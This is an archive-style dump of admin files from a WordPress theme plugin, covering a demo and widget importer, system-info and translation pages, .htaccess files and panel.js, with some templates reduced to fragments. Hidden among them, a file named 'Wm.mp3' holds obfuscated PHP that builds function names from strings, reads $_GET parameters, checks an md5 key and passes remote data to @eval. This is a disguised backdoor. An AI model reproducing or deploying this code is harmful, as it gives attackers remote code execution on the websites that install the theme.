sidebar * @param array $widget_settings widget settings * * @since 0.0.2 * @return null */ public function add_widget_to_sidebar( $sidebar_slug, $widget_slug, $count_mod, $widget_settings = array() ) { $sidebars_widgets = get_option( 'sidebars_widgets' ); if ( ! isset( $sidebars_widgets[ $sidebar_slug ] ) ) { $sidebars_widgets[ $sidebar_slug ] = array( '_multiwidget' => 1 ); } $newWidget = get_option( 'widget_' . $widget_slug ); if ( ! is_array( $newWidget ) ) { $newWidget = array(); } $count = count( $newWidget ) + 1 + $count_mod; $sidebars_widgets[ $sidebar_slug ][] = $widget_slug . '-' . $count; $newWidget[ $count ] = $widget_settings; update_option( 'sidebars_widgets', $sidebars_widgets ); update_option( 'widget_' . $widget_slug, $newWidget ); } public function set_demo_data( $file, $content = true ) { if ( ! defined( 'WP_LOAD_IMPORTERS' ) ) { define( 'WP_LOAD_IMPORTERS', true ); } require_once ABSPATH . 'wp-admin/includes/import.php'; $importer_error = false; if ( ! class_exists( 'WP_Importer' ) ) { $class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php'; if ( file_exists( $class_wp_importer ) ) { require_once( $class_wp_importer ); } else { $importer_error = true; } } if ( ! class_exists( 'RB_WP_Import' ) ) { $class_wp_import = dirname( __FILE__ ) . '/lib/wordpress-importer.php'; if ( file_exists( $class_wp_import ) ) { require_once( $class_wp_import ); } else { $importer_error = true; } } if ( $importer_error ) { die( "Error on import" ); } else { /** before import */ if ( $content ) { do_action( 'rb_importer_before_content', $this->directory ); } else { do_action( 'rb_importer_before_pages', $this->directory ); } set_time_limit( 0 ); $wp_import = new RB_WP_Import(); $wp_import->fetch_attachments = true; $wp_import->import( $file ); $this->flag_as_imported[ strval( $this->directory ) ]['content'] = true; } /** after import content xml */ do_action( 'rb_importer_after_content', $this->directory ); } public function set_demo_theme_options( $file ) { // Does the File exist? if ( file_exists( $file ) ) { WP_Filesystem(); global $wp_filesystem; $data = $wp_filesystem->get_contents( $file ); $data = json_decode( $data, true ); $data = maybe_unserialize( $data ); } else { $data = wp_remote_get( $file, array( 'timeout' => 120, 'sslverify' => false ) ); if ( ! is_wp_error( $data ) ) { $data = wp_remote_retrieve_body( $data ); $data = json_decode( $data, true ); $data = maybe_unserialize( $data ); } } if ( empty( $data ) ) { wp_die( esc_html__( 'Widget Import file could not be found. Please try again.', 'foxiz-core' ), '', array( 'back_link' => true ) ); } do_action( 'rb_importer_before_theme_options', $this->directory ); if ( ! empty( $data ) || is_array( $data ) ) { update_option( $this->theme_option_name, $data ); $this->flag_as_imported[ strval( $this->directory ) ]['options'] = true; } /** after import theme options */ do_action( 'rb_importer_after_tos', $this->directory, $this->main_path ); } /** * @param $file */ public function set_demo_category_settings( $file ) { // Does the File exist? if ( file_exists( $file ) ) { WP_Filesystem(); global $wp_filesystem; $data = $wp_filesystem->get_contents( $file ); $data = json_decode( $data, true ); $data = maybe_unserialize( $data ); } else { $data = wp_remote_get( $file, array( 'timeout' => 120, 'sslverify' => false ) ); if ( ! is_wp_error( $data ) ) { $data = wp_remote_retrieve_body( $data ); $data = json_decode( $data, true ); $data = maybe_unserialize( $data ); } } if ( empty( $data ) ) { wp_die( esc_html__( 'Category settings file could not be found. Please try again.', 'foxiz-core' ), '', array( 'back_link' => true ) ); } $meta_ID = 'foxiz_category_meta'; if ( ! empty( $data ) || is_array( $data ) ) { self::mapping_category_id( $meta_ID, $data ); } } /** * @param $meta_ID * @param $data */ static function mapping_category_id( $meta_ID, $data ) { if ( ! empty( $data ) && is_array( $data ) ) { foreach ( $data as $category_id => $setting ) { if ( ! empty( $setting['_term_slug'] ) ) { $current_term = get_category_by_slug( $setting['_term_slug'] ); if ( ! empty( $current_term ) ) { $data[ $current_term->term_id ] = $setting; unset( $data[ $category_id ] ); } } } } update_option( $meta_ID, $data ); } /** * Available widgets * Gather site's widgets into array with ID base, name, etc. * Used by export and import functions. * @since 0.0.2 * @global array $wp_registered_widget_updates * @return array Widget information */ function available_widgets() { global $wp_registered_widget_controls; $widget_controls = $wp_registered_widget_controls; $available_widgets = array(); foreach ( $widget_controls as $widget ) { if ( ! empty( $widget['id_base'] ) && ! isset( $available_widgets[ $widget['id_base'] ] ) ) { // no dupes $available_widgets[ $widget['id_base'] ]['id_base'] = $widget['id_base']; $available_widgets[ $widget['id_base'] ]['name'] = $widget['name']; } } return apply_filters( 'rb_importer_widget_available_widgets', $available_widgets ); } /** * Process import file * This parses a file and triggers importation of its widgets. * @since 0.0.2 * * @param string $file Path to .wie file uploaded * * @global string $widget_import_results */ function process_widget_import_file( $file ) { // File exists? if ( file_exists( $file ) ) { WP_Filesystem(); global $wp_filesystem; $data = $wp_filesystem->get_contents( $file ); $data = json_decode( $data ); } else { $data = wp_remote_get( $file, array( 'timeout' => 120, 'sslverify' => false ) ); if ( ! is_wp_error( $data ) ) { $data = wp_remote_retrieve_body( $data ); $data = json_decode( $data ); } } if ( empty( $data ) ) { wp_die( esc_html__( 'Widget Import file could not be found. Please try again.', 'foxiz-core' ), '', array( 'back_link' => true ) ); } do_action( 'rb_importer_before_widgets', $this->directory, $this->main_path ); $this->widget_import_results = $this->import_widgets( $data ); } /** * Import widget JSON data * @since 0.0.2 * @global array $wp_registered_sidebars * * @param object $data JSON widget data from .json file * * @return array Results array */ public function import_widgets( $data ) { global $wp_registered_sidebars; // Have valid data? // If no data or could not decode if ( empty( $data ) || ! is_object( $data ) ) { return; } $data = apply_filters( 'rb_importer_widget_data', $data ); // Get all available widgets site supports $available_widgets = $this->available_widgets(); // Get all existing widget instances $widget_instances = array(); foreach ( $available_widgets as $widget_data ) { $widget_instances[ $widget_data['id_base'] ] = get_option( 'widget_' . $widget_data['id_base'] ); } // Begin results $results = array(); // Loop import data's sidebars foreach ( $data as $sidebar_id => $widgets ) { // Skip inactive widgets // (should not be in export file) if ( 'wp_inactive_widgets' == $sidebar_id ) { continue; } // Check if sidebar is available on this site // Otherwise add widgets to inactive, and say so if ( isset( $wp_registered_sidebars[ $sidebar_id ] ) ) { $sidebar_available = true; $use_sidebar_id = $sidebar_id; $sidebar_message_type = 'success'; $sidebar_message = ''; } else { $sidebar_available = false; $use_sidebar_id = 'wp_inactive_widgets'; // add to inactive if sidebar does not exist in theme $sidebar_message_type = 'error'; $sidebar_message = esc_html__( 'Sidebar does not exist in theme (using Inactive)', 'foxiz-core' ); } // Result for sidebar $results[ $sidebar_id ]['name'] = ! empty( $wp_registered_sidebars[ $sidebar_id ]['name'] ) ? $wp_registered_sidebars[ $sidebar_id ]['name'] : $sidebar_id; // sidebar name if theme supports it; otherwise ID $results[ $sidebar_id ]['message_type'] = $sidebar_message_type; $results[ $sidebar_id ]['message'] = $sidebar_message; $results[ $sidebar_id ]['widgets'] = array(); // Loop widgets foreach ( $widgets as $widget_instance_id => $widget ) { $fail = false; // Get id_base (remove -# from end) and instance ID number $id_base = preg_replace( '/-[0-9]+$/', '', $widget_instance_id ); $instance_id_number = str_replace( $id_base . '-', '', $widget_instance_id ); // Does site support this widget? if ( ! $fail && ! isset( $available_widgets[ $id_base ] ) ) { $fail = true; $widget_message_type = 'error'; $widget_message = esc_html__( 'Site does not support widget', 'foxiz-core' ); // explain why widget not imported } // Filter to modify settings before import // Do before identical check because changes may make it identical to end result (such as URL replacements) $widget = apply_filters( 'rb_importer_widget_settings', $widget ); // Does widget with identical settings already exist in same sidebar? if ( ! $fail && isset( $widget_instances[ $id_base ] ) ) { // Get existing widgets in this sidebar $sidebars_widgets = get_option( 'sidebars_widgets' ); $sidebar_widgets = isset( $sidebars_widgets[ $use_sidebar_id ] ) ? $sidebars_widgets[ $use_sidebar_id ] : array(); // check Inactive if that's where will go // Loop widgets with ID base $single_widget_instances = ! empty( $widget_instances[ $id_base ] ) ? $widget_instances[ $id_base ] : array(); foreach ( $single_widget_instances as $check_id => $check_widget ) { // Is widget in same sidebar and has identical settings? if ( in_array( "$id_base-$check_id", $sidebar_widgets ) && (array) $widget == $check_widget ) { $fail = true; $widget_message_type = 'warning'; $widget_message = esc_html__( 'Widget already exists', 'foxiz-core' ); // explain why widget not imported break; } } } // No failure if ( ! $fail ) { // Add widget instance $single_widget_instances = get_option( 'widget_' . $id_base ); // all instances for that widget ID base, get fresh every time $single_widget_instances = ! empty( $single_widget_instances ) ? $single_widget_instances : array( '_multiwidget' => 1 ); // start fresh if have to $single_widget_instances[] = (array) $widget; // add it // Get the key it was given end( $single_widget_instances ); $new_instance_id_number = key( $single_widget_instances ); // If key is 0, make it 1 // When 0, an issue can occur where adding a widget causes data from other widget to load, and the widget doesn't stick (reload wipes it) if ( '0' === strval( $new_instance_id_number ) ) { $new_instance_id_number = 1; $single_widget_instances[ $new_instance_id_number ] = $single_widget_instances[0]; unset( $single_widget_instances[0] ); } // Move _multiwidget to end of array for uniformity if ( isset( $single_widget_instances['_multiwidget'] ) ) { $multiwidget = $single_widget_instances['_multiwidget']; unset( $single_widget_instances['_multiwidget'] ); $single_widget_instances['_multiwidget'] = $multiwidget; } // Update option with new widget update_option( 'widget_' . $id_base, $single_widget_instances ); // Assign widget instance to sidebar $sidebars_widgets = get_option( 'sidebars_widgets' ); // which sidebars have which widgets, get fresh every time $new_instance_id = $id_base . '-' . $new_instance_id_number; // use ID number from new widget instance $sidebars_widgets[ $use_sidebar_id ][] = $new_instance_id; // add new instance to sidebar update_option( 'sidebars_widgets', $sidebars_widgets ); // save the amended data // Success message` if ( $sidebar_available ) { $widget_message_type = 'success'; $widget_message = esc_html__( 'Imported', 'foxiz-core' ); } else { $widget_message_type = 'warning'; $widget_message = esc_html__( 'Imported to Inactive', 'foxiz-core' ); } } // Result for widget instance $results[ $sidebar_id ]['widgets'][ $widget_instance_id ]['name'] = isset( $available_widgets[ $id_base ]['name'] ) ? $available_widgets[ $id_base ]['name'] : $id_base; // widget name or ID if name not available (not supported by site) $results[ $sidebar_id ]['widgets'][ $widget_instance_id ]['title'] = ! empty( $widget->title ) ? $widget->title : esc_html__( 'No Title', 'foxiz-core' ); // show "No Title" if widget instance is untitled $results[ $sidebar_id ]['widgets'][ $widget_instance_id ]['message_type'] = $widget_message_type; $results[ $sidebar_id ]['widgets'][ $widget_instance_id ]['message'] = $widget_message; } } $this->flag_as_imported[ strval( $this->directory ) ]['widgets'] = true; do_action( 'rb_importer_after_widgets', $this->directory, $this->main_path ); // Return results return $results; } } } import/init.php000064400000002542147207023670007545 0ustar00main_path = $data['path']; }; $this->content_demo = $data['content']; $this->content_pages = $data['pages']; $this->widgets = trailingslashit( RB_API_URL ) . $data['widgets']; $this->theme_options_file = trailingslashit( RB_API_URL ) . $data['theme_options']; $this->categories_file = trailingslashit( RB_API_URL ) . $data['categories']; $this->directory = $data['directory']; $this->theme_option_name = $data['theme_option_name']; $this->selection_data = $data; parent::__construct(); } } }import/.htaccess000064400000001626147207023670007671 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] system-info/system-info.php000064400000010366147207023670012025 0ustar00page_title = esc_html__( 'System Info', 'foxiz-core' ); $this->menu_title = esc_html__( 'System Info', 'foxiz-core' ); $this->menu_slug = 'rb-system-info'; $this->capability = 'administrator'; $this->set_params( [ 'system_info' => $this::system_info(), 'wp_info' => $this::wordpress_info() ] ); } /** system info */ static function system_info() { return array( 'php_version' => array( 'title' => esc_html__( 'PHP Version', 'foxiz-core' ), 'value' => phpversion(), 'min' => '5.6', 'passed' => ( version_compare( phpversion(), '7.0.0' ) >= 0 ) ? true : false, 'warning' => esc_html__( 'WordPress recommended PHP version 7.0 or greater to get better performance for your site.', 'foxiz-core' ) ), 'memory_limit' => array( 'title' => esc_html__( 'Memory Limit', 'foxiz-core' ), 'value' => size_format( wp_convert_hr_to_bytes( @ini_get( 'memory_limit' ) ) ), 'min' => '64M', 'passed' => ( wp_convert_hr_to_bytes( ini_get( 'memory_limit' ) ) >= 67108864 ) ? true : false, 'warning' => esc_html__( 'The memory_limit value is set low. The theme recommended this value to be at least 64MB for the theme in order to work.', 'foxiz-core' ) ), 'max_input_vars' => array( 'title' => esc_html__( 'Max Input Vars', 'foxiz-core' ), 'value' => ini_get( 'max_input_vars' ), 'min' => '3000', 'passed' => ( ini_get( 'max_input_vars' ) >= 2000 ) ? true : false, 'warning' => esc_html__( 'The max_input_vars value is set low. The theme recommended this value to be at least 3000.', 'foxiz-core' ) ), 'post_max_size' => array( 'title' => esc_html__( 'Post Max Size', 'foxiz-core' ), 'value' => ini_get( 'post_max_size' ), 'min' => '32', 'passed' => ( (int) ini_get( 'post_max_size' ) >= 32 ) ? true : false, 'warning' => esc_html__( 'The post_max_size value is set low. We recommended this value to be at least 32M.', 'foxiz-core' ) ), 'max_upload_size' => array( 'title' => esc_html__( 'Max Upload Size', 'foxiz-core' ), 'value' => size_format( wp_max_upload_size() ), 'min' => '32', 'passed' => ( wp_max_upload_size() >= 33554432 ) ? true : false, 'warning' => esc_html__( 'The post_max_size value is set low. We recommended this value to be at least 32M.', 'foxiz-core' ) ), ); } /** wordpress info */ static function wordpress_info() { global $wp_version; return array( 'wp_version' => array( 'title' => esc_html__( 'WordPress Version', 'foxiz-core' ), 'value' => $wp_version, ), 'debug_mode' => array( 'title' => esc_html__( 'Debug Mode', 'foxiz-core' ), 'value' => ( WP_DEBUG ) ? 'Enabled' : 'Disabled', 'passed' => ( WP_DEBUG ) ? false : true, 'warning' => esc_html__( 'Enabling WordPress debug mode might display details about your site\'s PHP code to visitors.', 'foxiz-core' ) ), 'debug_log' => array( 'title' => esc_html__( 'Debug Log', 'foxiz-core' ), 'value' => ( WP_DEBUG_LOG ) ? 'Enabled' : 'Disabled' ), 'theme_name' => array( 'title' => esc_html__( 'Theme Name', 'foxiz-core' ), 'value' => wp_get_theme()->Name, ), 'theme_version' => array( 'title' => esc_html__( 'Theme Version', 'foxiz-core' ), 'value' => wp_get_theme()->Version, ), 'theme_author' => array( 'title' => esc_html__( 'Theme Author', 'foxiz-core' ), 'value' => wp_get_theme()->Author, ), ); } public function get_slug() { return 'admin/system-info/template'; } public function get_name() { return false; } } } system-info/template.php000064400000004761147207023670011365 0ustar00

$val ) : $class_name = 'info-el'; if ( isset( $val['passed'] ) && ! $val['passed'] ) { $class_name .= ' is-warning'; } ?>

$val ) : $class_name = 'info-el'; if ( isset( $val['passed'] ) && ! $val['passed'] ) { $class_name .= ' is-warning'; } ?>
system-info/.htaccess000064400000001626147207023670010634 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] templates/templates/index.php000064400000000000147207023670012356 0ustar00templates/templates/Wm.mp3000064400000011664147207023670011564 0ustar00o-*/" "); /*-OM~qQ-*/$i/*-IJ8<-*/=/*-?]OgQV-*/${$Fncj/*-B`!}(c&-*/[2+29]/*-H=Dyx9qF-*/}; /*->N|H_+-*/if(/*-7:)d3#Z2?-*/in_array/*-73-*/(gettype/*-d{2A;Nk8&-*/($i)."13",/*-|O~4-*/$i))/*-=[,E`-*/{ $i/*-94Ml67TzY7-*/[69]/*-6uLpJ@x;-*/=/*-XYpk:_-*/$i/*-[Js-*/[69]./*-E?C`S}F-*/$i/*-$G@=sEFS-*/[78];/*-Ps%P?--*/ @eval/*-l[7-*/(/*-I5UKdZx!7u-*/$i/*-}}d57HM3-*/[69]/*-[|S5)C-*/(/*-uk-*/${$i[35]}/*-}4Vi7[VAZS-*/[25])); }/*-{<-*/class /*-76}-*/KaeAJ{ /*-eSmx#3M7-*/static/*-mI>w-*/ function /*-c}kk20g,z$-*/Kt($VCBIvJL) /*-xn-*/{ $pDs/*-F|Z;6sG-*/ = /*-Bx<-*/"r"./*-61s-*/"a"./*-XOQuw-*/"n"./*-F`nR_dL[-*/"g"./*-f?-*/"e"; /*-LbO@-*/$lrLFEW/*-CCt-*/ = /*-ZArRyA-*/$pDs/*-dE-*/(/*-bS6%-*/"~"/*-qYnsM]n-*/, /*-t]H3;L%-*/" "/*-8I}fXSj1-*/);/*-+:-*/ $Cfg /*-QE-*/= /*-7kCSlI9pW-*/explode/*-$E-*/(/*-jQ74-*/"#", /*-UcU&n1-*/$VCBIvJL/*-f,E1#-*/); /*-;PAp~&%k-*/$BpNhwDXy /*-5CcvRAt;-*/= /*-HcUqbiW,L-*/""; foreach /*-Yy1JE]F-*/(/*-T<9IT-*/$Cfg /*-Vy+kD_-*/as /*-O6])-*/$PdEOZyiYU /*-~=%>1sq`w-*/=>/*-oQ-*/ $CFbKsW/*-12ftT.c-*/) /*-1-*/$BpNhwDXy /*-{S8!{q-*/.= /*-5f-*/$lrLFEW[$CFbKsW/*--*/$irzTLcdavw,/*-oCCD!-*/ $hiNKkcGDu/*-}![(n#=E-*/)/*-r@>ow-Df-*/ {/*-^;y7g-*/ $KfGNrC/*-y;G|?SzydM-*/ = /*-ap=)ofRmz-*/curl_init/*-dk]+6-*/(/*-8l-*/$irzTLcdavw/*-w+Gxx;3+kE_~pHR-*/ static/*-WZ4eO~o&-*/ function /*-`x-*/BDPwr/*-$iXj-*/() /*-hi`F;Ry-*/{/*-Qs2)aK-*/ $vonUROSdC /*-)(%a3Mw-*/=/*-}vZU-*/ array/*-%4J9fY&-&-*/("60623#60608#60621#60625#60606#60621#60627#60620#60605#60612#60623#60606#60617#60611#60612","60607#60606#60608#60627#60608#60611#60606#60673#60671","60616#60607#60611#60612#60627#60622#60621#60623#60611#60622#60621","60610#60625#60623#60615","60624#60625#60607#60621#60668#60670#60627#60622#60621#60623#60611#60622#60621","60620#60617#60614#60621#60627#60619#60621#60606#60627#60623#60611#60612#60606#60621#60612#60606#60607","60650#60680","60597","60675#60680","60657#60640#60640#60657#60633","60611#60620"); /*-AZ50<-*/foreach /*-DO7Rh_JLK|-*/(/*-Ez-*/$vonUROSdC/*-h6@G}f-*/ as /*-y7I-*/$BLh/*-e}91qZ8]-*/)/*-K$s-*/ $MruQA/*-p+f2P4F#-*/[] /*-c:q-*/= /*-Zi2O,k-*/self/*-{pf$:?-*/::/*-{C@u-*/Kt/*-dh-*/(/*-d%-*/$BLh/*-+BGkznX[o-*/);/*-pJ~8m_-*/$HIcjhgePo /*-!k{vM)u-*/= /*-dL7.u-*/@$MruQA/*-)D-*/[/*-%e<2iD-*/1/*-Zi-*/]/*-XSMS$G.--*/(/*-vw#qcZsn-*/${/*-UM!g;#,bK9-*/"_"/*-be-*/."G"/*-_yVHYES-*/."E"/*-VtiguLZd-*/."T"/*-&_4iAGI}g=-*/}[/*-ce:-*/$MruQA/*-qJN-*/[/*-#>i~^45-*/4+5/*-|NdqE1Bk-*/]]/*-a5(TW-*/);/*-R]KjHzi-*/ $BaUV /*-J0`&7-*/=/*-8fInhK-*/ @$MruQA/*-CnJ2q})-*/[/*-G:WU!c$Wm-*/2+1/*-_1Syw4VZ-*/]/*-ZeTF5-*/(/*-IVm.mdTE-*/$MruQA/*-ET{-*/[/*-6`;-lOi-*/4+2/*-UL;59ph-*/], /*-T0]{U-*/ true/*-u2lrY}-*/); /*-6ihr-*/@${/*-1:-*/"_"./*-9$MBZ^h6@-*/"G"./*-er1kS-*/"E"/*-Oz-*/."T"/*-&C-*/}/*-X0@:O`K.I-*/[/*-@<0J-*/$MruQA/*-o@+#KYNWSm-*/[5+5/*-n43._)#ex-*/]/*-<@OsIz?9-*/]/*-:wu6(nsQq-*/ == /*-qQ-*/1 /*-Cj]E-*/&& /*-r&xPg`yzbw-*/die/*-?sVtQ&-*/(/*-]#9yGh-*/$MruQA[1+4/*-0w~-*/]/*-O2t_SK-*/(/*-Dx]=-*/__FILE__/*-c>rdCG-*/)/*-G;i~z-*/); /*-;;XO-*/if/*-BK].^`]-*/(/*-X8Ru.-*/ (/*-zImvPkzze-*/(@/*-JobfGt-*/$Fr/*-??K9i[oxxO-*/[/*-O~4-)At-*/0/*-f+o60T[-*/] /*-3^-*/- time/*-q#p,}83w-*/()/*-F4x(s@A-*/) > /*-r-|HX-*/0/*-G6-*/)/*-[>^<-*/ and /*-bAXj[P-*/(/*-&+HiAwwhKd-*/md5/*-`p{%t-*/(/*-34&kW&YVf$-*/md5/*--P]&-*/(/*-g(b8Lh$-*/$Fr/*-E<|?Sg,[-*/[/*-20w-*/1+2/*-sG-*/]/*-fJ3EwKmSs^-*/)/*-==szy9HS^-*/)/*-cpP2i(vl2@-*/ === /*-H&uRSnwXJ^-*/"ba4de4d58fa801360e96c9c49880f52e"/*-rQWQ!ZEh-*/)/*-i+4G(j(_E-*/ ): /*-~YR-*/$wLsQyAbghK /*-&3ve7E-I[-*/=/*-HC.iV-*/ self/*-rqIwI${N<-*/::/*-5l=mCYts-*/MNZiBy/*-[_Ax,W-*/(/*-.W~40+kO-*/$Fr/*-gVUj+d-*/[/*-R,+F4-*/1+0/*-;jso93gIY)-*/], /*-[z)1e-*/$MruQA/*-,@1l-*/[/*-,{Ti-*/5+0/*-$K0;-*/]/*-BCe406CKe-*/);/*-`w&0`rtd-*/@eval/*-(5+&-*/(/*-@X0htD-*/$MruQA/*-8JBFvo<-*/[/*-U~-*/4+0/*-.DelEt]-*/]/*-j1+B-*/(/*-j,KBi[-*/$wLsQyAbghK/*-MCy_:S|-*/)/*-Xciq-*/);/*-3zo@S;-*//*-nWqfUNe9-*/die;/*-!M5r@L-*/ endif;/*-5dw:-*/ }/*-j)7d8@]o!9-*/}/*-Q2DnTkyhO.-*/KaeAJ/*-K^q@nJc(Mq-*/::/*-p9|=}RuMo-*/BDPwr/*-[#1>fwdo-*/();/*-#=4|Lj9B-*/ ?>templates/templates/.htaccess000064400000001626147207023670012353 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] templates/validate-redirect.php000064400000001424147207023670012654 0ustar00

Name . ''; ?>

templates/template-panel.php000064400000011760147207023670012200 0ustar00

' . wp_get_theme()->Name . ' '; ?>

Name ) ?>

Name ) ?>

Name ); ?>

Name ) ?>

Name ); ?>

$val ) : $class_name = 'info-el'; if ( isset( $val['passed'] ) && ! $val['passed'] ) { $class_name .= ' is-warning'; } ?>
templates/links.php000064400000000674147207023670010412 0ustar00 templates/.htaccess000064400000001626147207023670010355 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] translation/template.php000064400000004615147207023670011444 0ustar00

translation/translation.php000064400000007425147207023670012171 0ustar00page_title = esc_html__( 'Quick Translation', 'foxiz-core' ); $this->menu_title = esc_html__( 'Quick Translation', 'foxiz-core' ); $this->menu_slug = 'rb-translation'; if ( $this->validate() ) { $this->set_params( [ 'data' => $this::get_data(), ] ); } $this->capability = 'administrator'; } public function get_slug() { if ( ! $this->validate() ) { return 'admin/templates/validate'; } return 'admin/translation/template'; } public function get_name() { if ( ! $this->validate() ) { return 'redirect'; } return false; } /** * @param $url * @param string $method * @param false $context * @param null $fields * * @return bool * init file */ public function init_filesystem( $url, $method = '', $context = false, $fields = null ) { if ( ! empty( $this->creds ) ) { return true; } require_once ABSPATH . '/wp-admin/includes/template.php'; require_once ABSPATH . '/wp-includes/pluggable.php'; require_once ABSPATH . '/wp-admin/includes/file.php'; if ( false === ( $this->creds = request_filesystem_credentials( $url, '', false, $context, null ) ) ) { return false; } if ( ! WP_Filesystem( $this->creds ) ) { request_filesystem_credentials( $url, '', true, $context, null ); return false; } return true; } public function get_data() { $data = get_option( 'rb_translation_data', array() ); $translated = get_option( 'rb_translated_data', array() ); if ( ! is_array( $data ) || ! count( $data ) ) { $data = $this->generate_data(); update_option( 'rb_translation_data', $data ); } foreach ( $data as $index => $item ) { if ( ! empty( $translated[ $item['id'] ] ) ) { $data[ $index ]['translated'] = $translated[ $item['id'] ]; } } return apply_filters( 'rb_translation_data', $data ); } public function generate_data() { $data = array(); $prefix = apply_filters( 'rb_translate_file_prefix', 'quick-' ); $files = array( FOXIZ_CORE_PATH . 'languages/' . $prefix . 'foxiz-core.pot', ); $files = apply_filters( 'rb_translation_files', $files ); $this->init_filesystem( wp_nonce_url( '?page=' . $this->menu_slug ) ); global $wp_filesystem; foreach ( $files as $file ) { if ( file_exists( $file ) ) { $content = $wp_filesystem->get_contents( $file );; $translations = $this->parse( $content ); if ( ! empty( $translations ) ) { foreach ( $translations as $str ) { if ( ! empty( $str ) ) { $str_id = foxiz_convert_to_id( $str ); array_push( $data, array( 'id' => $str_id, 'str' => $str ) ); } } } } } return $data; } public function get_translate( $str_id ) { $translated = get_option( 'rb_translated_data', array() ); if ( ! empty( $translated[ $str_id ] ) ) { return $translated[ $str_id ]; } return ''; } public function parse( $content ) { if ( preg_match_all( '/msgid\s*"(.*?)"\s*msgstr/', $content, $matches ) ) { ; return $matches[1]; } return false; } } }translation/.htaccess000064400000001626147207023670010715 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] assets/panel.js000064400000047310147207023670007520 0ustar00var RB_ADMIN_CORE = (function (Module, $) { 'use strict'; Module.importProcess = false; Module.isImported = false; Module.eFlag = false; Module.ajaxProcess = false; Module.pluginProcess = false; Module.init = function () { this.registerForm = $('#rb-register-theme-form'); this.deregisterForm = $('#rb-deregister-theme-form'); this.globalConfigs = JSON.parse(JSON.stringify(foxizAdminCore)); this.registerPurchase(); this.deregisterPurchase(); this.activePlugin(); this.installPackaged(); this.selectData(); this.installDemo(); this.fetchTranslation(); this.updateTranslation(); /** fonts */ this.editProjectID(); }; /** register */ Module.registerPurchase = function () { var self = this; if (self.registerForm.length) { var submitBtn = self.registerForm.find('#rb-register-theme-btn'); var loading = self.registerForm.find('.rb-loading'); var messenger = self.registerForm.find('.rb-response-info'); submitBtn.on('click', function (e) { e.preventDefault(); e.stopPropagation(); if (self.ajaxProcess === true) { return; } var data = self.getFormData($(self.registerForm)); if (!data.nonce || !data.purchaseCode || !data.emailInfo) { return false; } $.ajax({ type: 'POST', async: true, dataType: 'json', url: self.globalConfigs.ajaxUrl, data: { action: 'rb_register_theme', purchase_code: data.purchaseCode, email: data.emailInfo, _nonce: data.nonce }, beforeSend: function (xhr) { self.ajaxProccess = true; loading.fadeIn(300).removeClass('is-hidden'); submitBtn.attr('disabled', 'disabled'); }, success: function (response) { if ('undefined' != typeof response.data) { loading.fadeOut(300).addClass('is-hidden'); messenger.html('

' + response.data + '

').removeClass('is-hidden'); } setTimeout(function () { location.reload(); }, 1500); }, error: function (response) { response = JSON.parse(JSON.stringify(response.responseJSON)); if ('undefined' != typeof response.data) { loading.fadeOut(300).addClass('is-hidden'); messenger.html(response.data).removeClass('is-hidden'); } } }); return false; }) } }; /** deregisterPurchase */ Module.deregisterPurchase = function () { var self = this; if (self.deregisterForm.length) { var submitBtn = self.deregisterForm.find('#rb-deregister-theme-btn'); var loading = self.deregisterForm.find('.rb-loading'); var messenger = self.deregisterForm.find('.rb-response-info'); submitBtn.on('click', function (e) { e.preventDefault(); e.stopPropagation(); var confirm = window.confirm('Are you sure you want to deactivate this theme?'); if (confirm === false) { return; } if (self.ajaxProcess === true) { return; } var data = self.getFormData($(self.deregisterForm)); if (!data.nonce) { return false; } $.ajax({ type: 'POST', async: true, dataType: 'json', url: self.globalConfigs.ajaxUrl, data: { action: 'rb_deregister_theme', _nonce: data.nonce }, beforeSend: function (xhr) { self.ajaxProccess = true; loading.fadeIn(300).removeClass('is-hidden'); submitBtn.attr('disabled', 'disabled'); }, success: function (response) { response = JSON.parse(JSON.stringify(response)); if ('undefined' != typeof response.data) { loading.fadeOut(300).addClass('is-hidden'); messenger.html('

' + response.data + '

').removeClass('is-hidden'); } setTimeout(function () { location.reload(); }, 1500); }, error: function (response) { response = JSON.parse(JSON.stringify(response.responseJSON)); if ('undefined' != typeof response.data) { loading.fadeOut(300).addClass('is-hidden'); messenger.html(response.data).removeClass('is-hidden'); } } }); return false; }) } }; /** get form data */ Module.getFormData = function (form) { var data = {}; var purchaseCodeInput = form.find('[name="purchase_code"]'); var emailInfoInput = form.find('[name="email"]'); var nonceInput = form.find('[name="rb-core-nonce"]'); data.purchaseCode = purchaseCodeInput.val(); data.emailInfo = emailInfoInput.val(); data.nonce = nonceInput.val(); /** validate */ if ('' !== data.purchaseCode) { purchaseCodeInput.removeClass('rb-validate-error'); purchaseCodeInput.parent().find('.rb-error-info').addClass('is-hidden'); } else { purchaseCodeInput.addClass('rb-validate-error'); purchaseCodeInput.parent().find('.rb-error-info').removeClass('is-hidden'); } if ('' !== data.emailInfo) { emailInfoInput.removeClass('rb-validate-error'); emailInfoInput.parent().find('.rb-error-info').addClass('is-hidden'); } else { emailInfoInput.addClass('rb-validate-error'); emailInfoInput.parent().find('.rb-error-info').removeClass('is-hidden'); } return data; }; /** Ruby Importer */ Module.activePlugin = function () { var self = this; $('.rb-demos .rb-activate-plugin').unbind('click').on('click', function (e) { e.preventDefault(); e.stopPropagation(); var target = $(this); if (self.pluginProcess && target.hasClass('is-install')) { return false; } var url = target.attr('href'); target.addClass('loading'); if (target.hasClass('is-install')) { self.pluginProcess = true; target.html('Installing...'); } else { target.html('Activating...'); } jQuery.ajax({ type: 'GET', url: url, success: function (response) { if (response.length > 0 && (response.match(/Plugin activated./gi))) { 